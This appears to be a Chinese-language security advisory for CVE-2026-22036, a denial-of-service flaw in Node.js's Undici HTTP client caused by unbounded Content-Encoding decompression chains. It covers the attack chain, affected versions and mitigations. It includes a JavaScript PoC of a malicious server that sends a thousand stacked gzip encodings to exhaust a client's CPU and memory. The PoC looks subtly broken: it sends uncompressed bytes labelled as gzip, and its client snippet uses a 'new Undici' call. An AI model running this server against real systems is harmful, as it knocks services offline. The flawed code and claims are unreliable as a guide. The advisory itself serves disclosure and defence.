IPBUF安全漏洞报告
English
CVE-2026-22036 CVSS 5.9 中危

CVE-2026-22036: Node.js Undici库HTTP客户端解压缩链无限制拒绝服务漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2026-22036
漏洞类型
拒绝服务
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Node.js Undici

相关标签

拒绝服务HTTP客户端Node.jsUndici资源耗尽解压链CVE-2026-22036漏洞利用安全更新

漏洞概述

CVE-2026-22036是Node.js生态中广泛使用的HTTP/1.1客户端库Undici的一个中高危拒绝服务漏洞。该漏洞存在于Undici 7.18.0之前和6.23.0之前的版本中,由于解压缩链(decompression chain)的链接数量无限制,且默认的maxHeaderSize允许恶意服务器插入数千个压缩步骤。当客户端连接到一个恶意服务器时,攻击者可以构造特殊的响应头,利用解压缩机制的缺陷,在解压缩过程中产生高CPU占用和过度的内存分配,最终导致服务崩溃或拒绝服务。由于Undici被众多Node.js应用和框架作为HTTP客户端依赖,此漏洞可能影响大量基于Node.js的服务端应用。攻击者无需认证即可利用此漏洞,只需诱导受害者客户端连接恶意服务器即可触发。

技术细节

该漏洞的根本原因在于Undici库在处理HTTP响应解压缩时,对解压缩链的深度没有进行有效限制。当服务器响应包含多个嵌套的压缩层(如Content-Encoding链:gzip, deflate, br等)时,客户端会递归解压缩每一层。正常情况下,这种设计用于支持代理服务器的多重压缩场景。然而,攻击者可以利用默认maxHeaderSize配置(通常为16384字节),通过构造包含数千个压缩步骤的长压缩链来耗尽客户端资源。恶意服务器可以在响应头中注入大量Content-Encoding字段,迫使客户端执行大量无意义的解压缩操作。具体而言,当Content-Encoding包含超过1000个压缩层时,会导致CPU使用率急剧上升,同时每次解压缩都会分配新的缓冲区,造成内存快速膨胀,最终触发内存溢出或系统资源耗尽。攻击者还可以利用Transfer-Encoding: chunked配合分块传输,进一步延长攻击时间窗口。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标应用是否使用存在漏洞版本的Undici库(< 7.18.0 或 < 6.23.0),可以通过代码分析或依赖扫描确定
STEP 2
步骤2: 恶意服务器部署
攻击者搭建恶意HTTP服务器,配置为在响应头中注入包含数千层压缩的Content-Encoding字段,利用无限制的解压缩链机制
STEP 3
步骤3: 诱导连接
攻击者通过社工手段(如恶意链接、API重定向、代理篡改等)诱导受害者的Node.js应用连接至恶意服务器,或利用SSRF漏洞直接让应用访问攻击者控制的服务器
STEP 4
步骤4: 触发解压缩链
恶意服务器发送包含超长压缩链的响应,Undici客户端接收到响应后开始递归解压缩,每个压缩层都需要CPU计算和内存分配
STEP 5
步骤5: 资源耗尽
大量解压缩操作导致CPU占用率急剧上升,同时内存持续分配且无法及时释放,最终导致应用进程崩溃或系统资源耗尽
STEP 6
步骤6: 拒绝服务
目标应用无法响应正常请求,造成服务中断。若应用为关键业务系统,将导致业务停滞;若为API网关或代理,则影响范围更广

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22036 PoC - Malicious Server simulating unbounded decompression chain attack const http = require('http'); const server = http.createServer((req, res) => { // Generate a malicious response with thousands of compression layers // This exploits the unbounded decompression chain in Undici < 7.18.0 and < 6.23.0 const compressionLayers = 1000; // Number of compression steps to exhaust client resources // Create Content-Encoding header with many layers const contentEncoding = Array(compressionLayers).fill('gzip').join(', '); res.writeHead(200, { 'Content-Encoding': contentEncoding, 'Content-Type': 'text/plain', 'Transfer-Encoding': 'chunked' }); // Send compressed data that will trigger deep decompression chain // Each layer requires decompression before the next can be processed const maliciousData = Buffer.alloc(1024 * 100); // 100KB of data maliciousData.fill('X'); // Send data in chunks to extend processing time for (let i = 0; i < 10; i++) { res.write(maliciousData); } res.end(); }); server.listen(8443, () => { console.log('Malicious server listening on port 8443'); console.log('Waiting for Undici client to connect...'); }); // Client-side PoC (victim connection) // const { Undici } = require('undici'); // const client = new Undici('http://localhost:8443'); // client.request({ path: '/', method: 'GET' }).catch(console.error);

影响范围

Undici < 6.23.0
Undici >= 7.0.0 AND < 7.18.0

防御指南

临时缓解措施
如果无法立即升级Undici版本,可采取以下临时缓解措施:1) 在应用层限制HTTP请求的目标地址,仅允许连接受信任的服务器白名单;2) 配置HTTP代理过滤异常响应头,检测并阻止包含过长Content-Encoding的响应;3) 限制客户端请求的超时时间(timeout),设置合理的连接超时和读取超时;4) 监控Node.js进程的CPU和内存使用率,设置告警阈值;5) 使用Web应用防火墙(WAF)过滤恶意请求;6) 在DNS层面阻断已知恶意域名。需要注意的是,这些临时措施无法根本解决问题,强烈建议尽快升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表